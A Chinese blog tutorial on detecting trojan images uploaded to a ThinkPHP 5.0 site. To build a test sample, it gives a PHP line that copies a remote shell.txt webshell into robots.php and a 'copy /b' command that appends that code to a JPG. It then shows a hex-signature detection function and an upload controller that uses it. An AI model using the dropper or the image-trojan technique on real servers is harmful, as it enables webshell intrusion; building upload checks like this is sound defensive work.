包子

木森技术分享

路漫漫其修远兮,吾将上下而求索。

您现在的位置是:网站首页 > THINKPHP

Thinkphp5.0检测上传的文件是否包含木马

2022-04-21 10:28:23826

  很多做开发的程序员只懂写代码,但不懂得自己的代码有没有漏洞,一旦出现漏洞,上线后就容易被黑客利用,从而给公司带来经济损失。要想修复漏洞,那肯定是要先寻找漏洞,找到真正的漏洞所在,才能进行修复,那要如何寻找漏洞呢,聪明的运维一般会查看网站系统运行日志,从日志里看出一些端倪。我这个知宇自动发卡平台的漏洞,是从网站日志以及黑客的入侵代码里分析出来的,这里我就不简述了,直接干正事。

  一、要做测试,那么肯定是要准备一张带木马的图片文件,制作木马图片的方法:

  1、创建一个名为test.php的文件,代码:

  

<?php copy("http://www.zy13.net/shell.txt","robots.php"); ?>

  test.php里的代码说明:

  copy(要复制的文件,复制文件的目的地);

  http://php.123.com/shell.txt http://www.zy13.net/shell.txt是远程服务器里的一个txt文件,里面包含我们的木马核心代码,也就是shell提权脚本;

  test.php要实现的功能:自动复制shell.txt里的代码到robots.php这个文件里。

  shell.txt里的代码实际上就是黑客的入侵逻辑代码,想怎么写都可以,这里用简单的一句话来做测试:

  2、找一张正常的图片,假设图片名为1.jpg,我们把test.php文件和1.jpg这个图片放在同一个目录里。

1.png

  3、在这个目录运行cmd命令窗口,输入以下命令,然后回车

copy 1.jpg/b+test.php/a 2.jpg

  4、然后会在同级目录下生成一个2.jpg图片,这个就是我们需要的木马图片,使用Notepad++工具打开这张2.jpg图片,会在最末尾发现test.php里的代码

2.png

  这张2.jpg图片表面上和1.jpg一样,没有什么区别,但它却是一张木马图片。

  二、在公共函数里写一个检测木马的方法,如下:

<?php
/**
 * 检测文件是否包含木马
 *
 * @param  $filepath 文件路径
 * @return $status 0为正常 1为可疑木马文件 -1为文件没有上传
 */
function checkMuma($filepath) {
    $status = 0;
    $tips = array(
        "0"  => "文件没问题",
        "1"  => "文件为可疑木马文件",
        "-1" => "文件没有上传"
    );
    if (file_exists($filepath)) {
        $resource = fopen($filepath, 'rb');
        $fileSize = filesize($filepath);
        fseek($resource, 0);
        if ($fileSize > 512) { // 取头和尾
            $hexCode = bin2hex(fread($resource, 512));
            fseek($resource, $fileSize - 512);
            $hexCode .= bin2hex(fread($resource, 512));
        } else { // 取全部
            $hexCode = bin2hex(fread($resource, $fileSize));
        }
        fclose($resource);
		/* 通过匹配十六进制代码检测是否存在木马脚本*/
        /* 匹配16进制中的 <% ( ) %> */
        /* 匹配16进制中的 <? ( ) ?> */
        /* 匹配16进制中的 <script | /script> 大小写亦可 */
        if (preg_match("/(3c25.*?28.*?29.*?253e)|(3c3f.*?28.*?29.*?3f3e)|(3C534352495054)|(2F5343524950543E)|(3C736372697074)|(2F7363726970743E)/is", $hexCode)) {
            $status = 1;
        }
    } else {
        $status = -1;
    }
    return $status;
}
?>

  三、在上传文件的时候,调用检测方法:

<?php
namespace app\index\controller;
use think\Controller;
use think\Db;
use think\Cache;
use think\Session;
use think\Request;
class User extends Controller {
    //上传图片
	public function upload() {
		$path = ROOT_PATH . 'public/uploads/';
		if(!file_exists($path)) {
			mkdir($path,0777,true);
		}
		$file = request()->file('file');
		if($file) {
			//检测文件是否包含木马
			$omgpath=$file->getInfo('tmp_name');
			if(checkMuma($omgpath)==1) {
				$data['code'] = 0;
				$data['msg'] ='您上传的文件为可疑木马,请自重!';
			} else {
				//限制只能上传2MB图片
				$info = $file->rule(function() {
					return md5(microtime(true));
				})->validate(['size'=>1024*1024*2,'ext'=>'jpg,png,gif,jpeg'])->move($path);
				$data= array();
				if($info) {
					$data['code'] = 1;
					$data['msg'] ='上传成功!';
					$data['data']['src'] ='/uploads/'.$info->getSaveName();
				} else {
					$data['code'] = 0;
					$data['msg'] ='上传失败,请检查文件类型是否允许上传!';
				}
			}
			return $data;
		}
	}
}
?>

  代码写好后,开始上传那张带木马的2.jpg图片

3.png